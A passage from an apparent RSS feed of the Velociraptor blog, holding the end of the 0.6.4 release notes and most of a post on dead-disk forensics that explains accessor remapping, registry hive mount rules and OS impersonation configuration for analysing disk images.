channel and learn new&#xA;capabilities in Velociraptor. We want to try a similar format to help&#xA;people discover what Velociraptor can do.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://www.velociraptor-docs.org/knowledge_base/&#34;&gt;Velociraptor knowledge base&lt;/a&gt; is a&#xA;new area on the documentation site that allows anyone to submit small&#xA;(1-2 paragraphs) tip about how to do a particular task. Knowledge base&#xA;tips are phrased as questions to help people search for them. Tips&#xA;should be short and refer to more detailed documentation - they are&#xA;just a quick hint.&lt;/p&gt;&#xA;&lt;p&gt;If you learned something about Velociraptor that you did not know&#xA;before and would like to share your experience to make the next user&amp;rsquo;s&#xA;journey that little bit easier, please contribute a small note to the&#xA;knowledge base.&lt;/p&gt;&#xA;&lt;h2 id=&#34;known-issues&#34;&gt;Known issues&lt;/h2&gt;&#xA;&lt;p&gt;Updating the VQL path handling in 0.6.4 introduces a new column called&#xA;&lt;code&gt;OSPath&lt;/code&gt; (replacing the old &lt;code&gt;FullPath&lt;/code&gt; column) which was not present&#xA;in previous versions. While we attempt to ensure that older artifacts&#xA;should continue to work on 0.6.4 clients, it is likely that the new&#xA;VQL artifacts built into 0.6.4 will not work correctly on older&#xA;versions.&lt;/p&gt;&#xA;&lt;p&gt;If you are upgrading the Velociraptor server but still have older&#xA;clients in the field, it is likely that collecting the built in&#xA;artifacts will fail due to the new features not being present in older&#xA;clients.&lt;/p&gt;&#xA;&lt;p&gt;To make migration easier, 0.6.4 comes built in with the&#xA;&lt;code&gt;Server.Import.PreviousReleases&lt;/code&gt; artifact. This server artifact will&#xA;load all the artifacts from a previous release into the server. You&#xA;can use those older versions with older clients.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-23-release-notes//blog/2022/2022-03-23-release-notes/importing_previous_versions.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Importing previous versions of core artifacts&#34;&#xA;         width=&#34;1324&#34; height=&#34;652&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;importing_previous_versions.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Importing previous versions of core artifacts&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Dead disk Forensics</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-03-22-deaddisk/</link>
      <pubDate>Sun, 20 Mar 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-03-22-deaddisk/</guid>
      <description>&lt;p&gt;Velociraptor&amp;rsquo;s killer feature is its VQL language making it possible&#xA;to write powerful queries that triage and extract valuable forensic&#xA;evidence from the running system. One of the most attractive features&#xA;is the ability to write VQL &lt;a href=&#34;https://www.velociraptor-docs.org/docs/artifacts/&#34;&gt;artifacts&lt;/a&gt;&#xA;encapsulating powerful VQL queries. Users have access to a library of&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/&#34;&gt;packaged artifacts&lt;/a&gt;&#xA;that come with Velociraptor as well as a vibrant community and an&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/&#34;&gt;Artifact Exchange&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Previously Velociraptor was most useful as a live analysis&#xA;platform. Either deployed as an agent on the live endpoint, or via the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/docs/deployment/offline_collections/&#34;&gt;Offline Collector&lt;/a&gt;&#xA;collecting artifacts from the running system. However, many users are sometimes&#xA;faced with analyzing a dead disk image - for example, when handed a clone of a&#xA;cloud VM disk after a compromise.&lt;/p&gt;&#xA;&lt;p&gt;It would be really nice to be able to leverage the same VQL artifacts&#xA;developed and shared by the community in a disk image or VM clone&#xA;without having to start the VM and install Velociraptor on it.&lt;/p&gt;&#xA;&lt;h2 id=&#34;dead-disk-analysis&#34;&gt;Dead disk analysis&lt;/h2&gt;&#xA;&lt;p&gt;When we want to analyze a disk image we mean that:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A VQL query that looks at a disk (e.g. via the &lt;code&gt;glob()&lt;/code&gt; plugin),&#xA;should look inside the disk image instead of the real disk of the&#xA;analysis machine.&lt;/li&gt;&#xA;&lt;li&gt;A VQL query that looks at system state (e.g. process listing)&#xA;should fail - otherwise we will accidentally mix results from the&#xA;analysis machine and the machine the image came from.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Consider the following scenario: I have a dead disk image (In a &lt;code&gt;vmdk&lt;/code&gt;&#xA;format) of a server on my analysis machine, and I want to run&#xA;Velociraptor to triage this image.&lt;/p&gt;&#xA;&lt;p&gt;The following query retrieves all event logs from a windows system:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-vql&#34;&gt;SELECT OSPath&#xA;FROM glob(globs=&amp;quot;C:/Windows/System32/WinEVT/Logs/*.evtx&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I run this query, I want the results to come from the image and&#xA;&lt;strong&gt;not&lt;/strong&gt; from my analysis machine!&lt;/p&gt;&#xA;&lt;p&gt;Of course I can always mount my dead image on a different drive (if my&#xA;analysis machine is Windows) or a different directory (if my analysis&#xA;machine is Linux). Then I can change the query accordingly to search&#xA;for the event log files in the new location. But this is tedious and&#xA;error prone - I have to carefully change all artifacts to point to the&#xA;new drive, and if there are references in the dead image to a &lt;code&gt;C:&lt;/code&gt;&#xA;drive the artifact will look for files in the &lt;code&gt;C:&lt;/code&gt; drive again.&lt;/p&gt;&#xA;&lt;p&gt;What I really want is to &lt;strong&gt;remap&lt;/strong&gt; the &lt;code&gt;C:&lt;/code&gt; drive to the dead image -&#xA;so whenever Velociraptor attempts to access a path beginning with &lt;code&gt;C:&lt;/code&gt;&#xA;drive, the data will come from the image! This way I can use all the&#xA;artifacts as they are &lt;strong&gt;without modification&lt;/strong&gt;, thereby leveraging all&#xA;my existing favorite artifacts.&lt;/p&gt;&#xA;&lt;h2 id=&#34;remapping-accessors&#34;&gt;Remapping accessors&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor accesses files using &lt;a href=&#34;https://www.velociraptor-docs.org/docs/forensic/filesystem/#filesystem-accessors&#34;&gt;filesystem accessors&lt;/a&gt;. You can think&#xA;of an accessor as simply a driver that provides access to a file or&#xA;directory.&lt;/p&gt;&#xA;&lt;p&gt;There are a number of types of accessors available, in the following&#xA;discussion the following accessors are important:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;auto&lt;/strong&gt; accessor is the default accessor used when an accessor&#xA;is not explicitly specified. The query &lt;code&gt;SELECT * FROM glob(globs=&#39;/*&#39;)&lt;/code&gt; will use the &lt;code&gt;auto&lt;/code&gt; accessor since an explicit&#xA;&lt;code&gt;accessor&lt;/code&gt; parameter is not provided.&lt;/p&gt;&#xA;&lt;p&gt;On Windows the &lt;code&gt;auto&lt;/code&gt; accessor attempts to open files using the OS&#xA;API and failing this, reverts to NTFS parsing (for locked&#xA;files). This is the most commonly used accessor.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;file&lt;/strong&gt; accessor uses the operating system APIs to open files&#xA;and directories. It is used internally by the &lt;code&gt;auto&lt;/code&gt; accessor but&#xA;you can also use it explicitly.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;strong&gt;ntfs&lt;/strong&gt; accessor is used to access files using the built in&#xA;NTFS parser.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Supported disk image formats &#34;&gt;&lt;p&gt;Velociraptor currently supports the following 4 disk image formats via built-in&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/accessors/&#34;&gt;accessors&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;EWF&lt;/code&gt;: Expert Witness Compression Format, sometimes called &amp;ldquo;E01 images&amp;rdquo;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VMDK&lt;/code&gt;: virtual hard drive format introduced by VMware&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VHDX&lt;/code&gt;: virtual hard drive format introduced by Microsoft&lt;/li&gt;&#xA;&lt;li&gt;raw format: bit-by-bit copy of a hard drive, also know as &amp;ldquo;DD&amp;rdquo; or &amp;ldquo;flat&amp;rdquo; format&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The &lt;code&gt;deaddisk&lt;/code&gt; command described below recognizes the first three formats based&#xA;on &lt;em&gt;file extension&lt;/em&gt; and Velociraptor is able to read these formats natively&#xA;without any additional steps. If the target image file has any other extension&#xA;then the &lt;code&gt;deaddisk&lt;/code&gt; command will treat it as raw format.&lt;/p&gt;&#xA;&lt;p&gt;If you have any other image format then the recommended course of action is to&#xA;&amp;ldquo;cross-mount&amp;rdquo; the image to raw format. There are several tools which can do&#xA;this, for example &lt;a href=&#34;https://www.pinguin.lu/xmount&#34; target=&#34;_blank&#34; &gt;xmount&lt;/a&gt;. Alternatively you can&#xA;convert the image to one of the natively-supported formats, and many tools exist&#xA;which can do that. The downside of converting formats is that it requires a lot&#xA;of disk space and can take a long time, therefore cross-mounting is preferable&#xA;because it &amp;ldquo;translates&amp;rdquo; one format to another without conversion.&lt;/p&gt;&#xA;&lt;p&gt;Most virtual machine platforms can usually export to several formats. In&#xA;particular note that VMware can export for raw format (also called &amp;ldquo;flat&amp;rdquo;) but&#xA;retains the &lt;code&gt;.vmdk&lt;/code&gt; file extension. In that case you would need to remove the&#xA;file extension so that Velociraptor&amp;rsquo;s &lt;code&gt;deaddisk&lt;/code&gt; command will treat it as a raw&#xA;image instead of VMDK format.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;remapping-configuration&#34;&gt;Remapping configuration&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor normally interrogates the live machine it is running&#xA;on. However in this case we want to emulate the system under&#xA;investigation so that when Velociraptor attempts to access the system&#xA;it is really parsing the dead disk image. This process of emulation is&#xA;called &lt;code&gt;remapping&lt;/code&gt; and it is controlled via remapping rules in the&#xA;configuration file.&lt;/p&gt;&#xA;&lt;p&gt;Although I can write these rules by hand, Velociraptor offers a quick&#xA;tool that automates a lot of the remapping rule generation. Simply&#xA;point velociraptor at the image file using the&#xA;&lt;code&gt;--add_windows_disk&lt;/code&gt; flag, and it will produce a new remapping yaml&#xA;config:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ velociraptor-linux-amd64 -v deaddisk --add_windows_disk /mnt/flat /tmp/remapping.yaml&#xA;velociraptor: Enumerating partitions using Windows.Forensics.PartitionTable&#xA;velociraptor: Searching for a Windows directory at the top level&#xA;velociraptor: Adding windows partition at offset 122683392&#xA;velociraptor: Searching for a Windows directory at the top level&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Velociraptor will enumerate the partitions in the disk image and&#xA;attempt to mount each as an NTFS partition. It will then look for a&#xA;&lt;code&gt;/Windows&lt;/code&gt; directory at the top level to indicate a system drive and&#xA;map it to the &lt;code&gt;C:&lt;/code&gt; drive.&lt;/p&gt;&#xA;&lt;p&gt;You can see the full generated configuration file&#xA;&lt;a href=&#34;https://gist.github.com/scudette/ffcd3ed2e589ebbdbe5c3edcf3914176&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;&#xA;but in the next few sections we will examine some remapping rules in&#xA;detail.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-mount-remapping-rules&#34;&gt;The &amp;ldquo;mount&amp;rdquo; remapping rules&lt;/h3&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a closer look at the following rule of type &lt;code&gt;mount&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- type: mount&#xA;  description: &#39;Mount the partition /mnt/flat (offset 122683392) on the C:&#xA;    drive (NTFS)&#39;&#xA;  from:&#xA;    accessor: raw_ntfs&#xA;    prefix: |&#xA;      {&#xA;        &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;offset&amp;quot;,&#xA;        &amp;quot;Delegate&amp;quot;: {&#xA;          &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;file&amp;quot;,&#xA;          &amp;quot;DelegatePath&amp;quot;: &amp;quot;/mnt/flat&amp;quot;,&#xA;          &amp;quot;Path&amp;quot;:&amp;quot;122683392&amp;quot;&#xA;        },&#xA;        &amp;quot;Path&amp;quot;: &amp;quot;/&amp;quot;&#xA;      }&#xA;  &amp;quot;on&amp;quot;:&#xA;    accessor: ntfs&#xA;    prefix: &#39;\\.\C:&#39;&#xA;    path_type: ntfs&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A &lt;code&gt;mount&lt;/code&gt; rule tells Velociraptor to map all paths below a certain&#xA;directory to a delegate accessor. When a VQL query attempts to open a&#xA;file using the &lt;code&gt;ntfs&lt;/code&gt; accessor, below the &lt;code&gt;\\.\C:&lt;/code&gt; directory,&#xA;Velociraptor will automatically map the request to &lt;code&gt;raw_ntfs&lt;/code&gt; accessor&#xA;with the above prefix.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the request to list the &lt;code&gt;\\.\C:\Windows&lt;/code&gt;&#xA;directory. Since this directory is below the mount point of &lt;code&gt;\\.\C:&lt;/code&gt;,&#xA;Velociraptor will append the remainder (the &lt;code&gt;Windows&lt;/code&gt; directory) to&#xA;the mount point&amp;rsquo;s &lt;code&gt;from&lt;/code&gt; prefix and use the &lt;code&gt;raw_ntfs&lt;/code&gt; accessor to&#xA;list the result.&lt;/p&gt;&#xA;&lt;p&gt;So the following pathspec will be opened instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;      {&#xA;        &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;offset&amp;quot;,&#xA;        &amp;quot;Delegate&amp;quot;: {&#xA;          &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;file&amp;quot;,&#xA;          &amp;quot;DelegatePath&amp;quot;: &amp;quot;/mnt/flat&amp;quot;,&#xA;          &amp;quot;Path&amp;quot;:&amp;quot;122683392&amp;quot;&#xA;        },&#xA;        &amp;quot;Path&amp;quot;: &amp;quot;/Windows&amp;quot;&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The prefix is an OSPath object in the form of a complete pathspec&#xA;object describing how the &lt;code&gt;raw_ntfs&lt;/code&gt; accessor is to access files:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;code&gt;raw_ntfs&lt;/code&gt; accessor will first open it&amp;rsquo;s delegate container and&#xA;then parse out the &lt;code&gt;/Windows&lt;/code&gt; path within it.&lt;/li&gt;&#xA;&lt;li&gt;The delegate is the &lt;code&gt;offset&lt;/code&gt; accessor - an accessor that maps an&#xA;offset from it&amp;rsquo;s own delegate (in order to extract the partition on&#xA;which the filesystem is written).&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;offset&lt;/code&gt; accessor in turn uses the &lt;code&gt;file&lt;/code&gt; accessor to open the&#xA;&lt;code&gt;/mnt/flat&lt;/code&gt; image file. In this case the offset is 122683392 bytes&#xA;into the image.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This remapping happens transparently - whenever Velociraptor accesses&#xA;the &lt;code&gt;ntfs&lt;/code&gt; accessor the data will be automatically taken from the&#xA;remapped mount point.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s see how this works in practice. I will start the GUI using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ velociraptor-v0.6.4-linux-amd64 --remap /tmp/remapping.yaml gui -v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This simply starts the Velociraptor server and a single client talking&#xA;to it. However, due to the &lt;code&gt;--remap&lt;/code&gt; flag, the remapping configuration&#xA;will be applied to both client and server configurations.&lt;/p&gt;&#xA;&lt;p&gt;Now when I interact with the client&amp;rsquo;s VFS view due to the remapping&#xA;the result comes from the &lt;code&gt;vmdk&lt;/code&gt; image.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-22-deaddisk//blog/2022/2022-03-22-deaddisk/ntfs_accssor_vfs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Browsing the VFS with the remapped ntfs accessor&#34;&#xA;         width=&#34;1303&#34; height=&#34;666&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;ntfs_accssor_vfs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Browsing the VFS with the remapped ntfs accessor&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;remapping-the-registry-hives&#34;&gt;Remapping the registry hives&lt;/h3&gt;&#xA;&lt;p&gt;The above default remapping rules also include the following rule&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- type: mount&#xA;  description: Map the /Windows/System32/Config/SOFTWARE Registry hive on HKEY_LOCAL_MACHINE\Software&#xA;  from:&#xA;    accessor: raw_reg&#xA;    prefix: |-&#xA;      {&#xA;        &amp;quot;Path&amp;quot;: &amp;quot;/&amp;quot;,&#xA;        &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;raw_ntfs&amp;quot;,&#xA;        &amp;quot;Delegate&amp;quot;: {&#xA;          &amp;quot;DelegateAccessor&amp;quot;:&amp;quot;offset&amp;quot;,&#xA;          &amp;quot;Delegate&amp;quot;: {&#xA;            &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;file&amp;quot;,&#xA;            &amp;quot;DelegatePath&amp;quot;: &amp;quot;/mnt/flat&amp;quot;,&#xA;            &amp;quot;Path&amp;quot;: &amp;quot;122683392&amp;quot;&#xA;          },&#xA;          &amp;quot;Path&amp;quot;:&amp;quot;/Windows/System32/Config/SOFTWARE&amp;quot;&#xA;        }&#xA;      }&#xA;    path_type: registry&#xA;  &amp;quot;on&amp;quot;:&#xA;    accessor: registry&#xA;    prefix: HKEY_LOCAL_MACHINE\Software&#xA;    path_type: registry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule mounts the &lt;code&gt;registry&lt;/code&gt; accessor&amp;rsquo;s&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\Software&lt;/code&gt; path on the&#xA;&lt;code&gt;/Windows/System32/Config/SOFTWARE&lt;/code&gt; file found within the raw NTFS&#xA;partition.  Note how pathspec descriptors nest and can utilize&#xA;multiple different accessors to achieve the final mount point (in this&#xA;case, the &lt;code&gt;file&lt;/code&gt; accessor, followed by &lt;code&gt;offset&lt;/code&gt; followed by &lt;code&gt;raw_ntfs&lt;/code&gt;&#xA;followed by &lt;code&gt;raw_registry&lt;/code&gt;)..&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-22-deaddisk//blog/2022/2022-03-22-deaddisk/reg_accssor_vfs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Browsing the VFS with registry accessors&#34;&#xA;         width=&#34;1529&#34; height=&#34;783&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;reg_accssor_vfs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Browsing the VFS with registry accessors&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Normally, when interacting with a live Velociraptor client, the&#xA;&lt;code&gt;registry&lt;/code&gt; accessor refers to registry keys and values accessed&#xA;through the OS API. However now we were able to mount a raw registry&#xA;parser on top of the &lt;code&gt;registry&lt;/code&gt; accessor.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; What does remapping achieve? &#34;&gt;&lt;p&gt;By remapping the traditional accessors with emulated content, we are&#xA;effectively allowing the same VQL queries to apply to very different&#xA;scenarios &lt;strong&gt;without change&lt;/strong&gt;. For example, an artifact that queries&#xA;the registry using the API will now automatically query the raw&#xA;registry parser which accesses the hive file as recovered from parsing&#xA;the ntfs filesystem on a dead disk image.&lt;/p&gt;&#xA;&lt;p&gt;We can apply the same artifacts to the dead disk image without any&#xA;modification!&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;remapping-currentcontrolset&#34;&gt;Remapping CurrentControlSet&lt;/h3&gt;&#xA;&lt;p&gt;In Windows there are virtual parts of the registry that get remounted&#xA;at runtime. One such part is the&#xA;&lt;code&gt;HKEY_LOCAL_MACHINE\Software\CurrentControlSet&lt;/code&gt; key which is mounted&#xA;from &lt;code&gt;HKEY_LOCAL_MACHINE\Software\ControlSet001&lt;/code&gt;. Velociraptor can recreate this mapping using the following remapping rule:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- type: mount&#xA;  description: Map the /Windows/System32/Config/SYSTEM Registry hive on HKEY_LOCAL_MACHINE\System\CurrentControlSet&#xA;    (Prefixed at /ControlSet001)&#xA;  from:&#xA;    accessor: raw_reg&#xA;    prefix: |-&#xA;      {&#xA;        &amp;quot;Path&amp;quot;: &amp;quot;/ControlSet001&amp;quot;,&#xA;        &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;raw_ntfs&amp;quot;,&#xA;        &amp;quot;Delegate&amp;quot;: {&#xA;          &amp;quot;DelegateAccessor&amp;quot;:&amp;quot;offset&amp;quot;,&#xA;          &amp;quot;Delegate&amp;quot;: {&#xA;            &amp;quot;DelegateAccessor&amp;quot;: &amp;quot;file&amp;quot;,&#xA;            &amp;quot;DelegatePath&amp;quot;: &amp;quot;/mnt/flat&amp;quot;,&#xA;            &amp;quot;Path&amp;quot;: &amp;quot;122683392&amp;quot;&#xA;          },&#xA;          &amp;quot;Path&amp;quot;:&amp;quot;/Windows/System32/Config/SYSTEM&amp;quot;&#xA;        }&#xA;      }&#xA;    path_type: registry&#xA;  &amp;quot;on&amp;quot;:&#xA;    accessor: registry&#xA;    prefix: HKEY_LOCAL_MACHINE\System\CurrentControlSet&#xA;    path_type: registry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is very important for queries that read sub-keys of &lt;code&gt;CurrentControlSet&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;impersonating-an-operating-system&#34;&gt;Impersonating an operating system&lt;/h3&gt;&#xA;&lt;p&gt;We discussed how accessors can be remapped using the remapping rules&#xA;in order to make VQL plugins that access files emulate running on the&#xA;target system. However, many artifacts need to examine more than just&#xA;the filesystem. For example, most artifacts have a &lt;code&gt;precondition&lt;/code&gt; such&#xA;as &lt;code&gt;SELECT * FROM info() WHERE OS =~ &amp;quot;Windows&amp;quot;&lt;/code&gt;. If we were to run on&#xA;a Linux system these artifacts will not work since they are intended&#xA;to work on windows - despite the remapping rules emulating a Windows&#xA;system.&lt;/p&gt;&#xA;&lt;p&gt;We therefore need to &lt;code&gt;impersonate&lt;/code&gt; a windows system - even when we are&#xA;really running on a Linux machine. The impersonation rule looks like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;- type: impersonation&#xA;  os: windows&#xA;  hostname: VirtualHostname&#xA;  env:&#xA;  - key: SystemRoot&#xA;    value: C:\Windows&#xA;  - key: WinDir&#xA;    value: C:\Windows&#xA;  disabled_functions:&#xA;  - amsi&#xA;  - lookupSID&#xA;  - token&#xA;  disabled_plugins:&#xA;  - users&#xA;  - certificates&#xA;  - handles&#xA;  - pslist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This rule has a number of functions&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The OS type is set to Windows- This affects the output from&#xA;&lt;code&gt;SELECT * FROM info()&lt;/code&gt; - this query controls most of the artifact&#xA;preconditions.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;A specific hostname is set to &amp;ldquo;VirtualHostname&amp;rdquo;. When the client&#xA;interrogates, this hostname will appear in the Velociraptor GUI.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;We specify a number of environment variables. This affects the&#xA;&lt;code&gt;expand()&lt;/code&gt; function which expands paths using environment&#xA;variables. Many artifacts use environment variables to locate files&#xA;within the filesystem.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Disabled functions and plugins: Many artifacts use plugins and&#xA;functions that query non-disk system state in order to enrich the&#xA;collected data. I.e. their output does not depend just on the&#xA;disk. Using this impersonation rule we can disable those plugins&#xA;and functions (essentially return nothing from them) so the query&#xA;can complete successfully.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Impersonation aims to make it appear that the VQL artifacts are being&#xA;collected from the target system as if it were running live.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of collecting some common Windows artifacts from my&#xA;flat image above - running on a Linux analysis machine. We can see&#xA;some of our favorite artifacts, such as &lt;code&gt;Windows.Forensics.Usn&lt;/code&gt;,&#xA;&lt;code&gt;Windows.Timeline.Prefetch&lt;/code&gt;, &lt;code&gt;Windows.Forensics.Bam&lt;/code&gt; and many more.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-03-22-deaddisk//blog/2022/2022-03-22-deaddisk/artifacts_prefetch.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting some common artifacts&#34;&#xA;         width=&#34;1915&#34; height=&#34;809&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;artifacts_prefetch.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting some common artifacts&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;analysis-of-non-windows-disk-images&#34;&gt;Analysis of non windows disk images&lt;/h2&gt;&#xA;&lt;p&gt;In the previous example, we exported the &lt;code&gt;vmdk&lt;/code&gt; image as a flat file&#xA;and simply relied on Velociraptor to parse the filesystem using its&#xA;inbuilt NTFS parser.&lt;/p&gt;&#xA;&lt;p&gt;For other operating systems, Velociraptor does not currently have a&#xA;native parser (for example for Linux or MacOS). Instead, Velociraptor&#xA;relies on another tool mounting the image filesystem as a 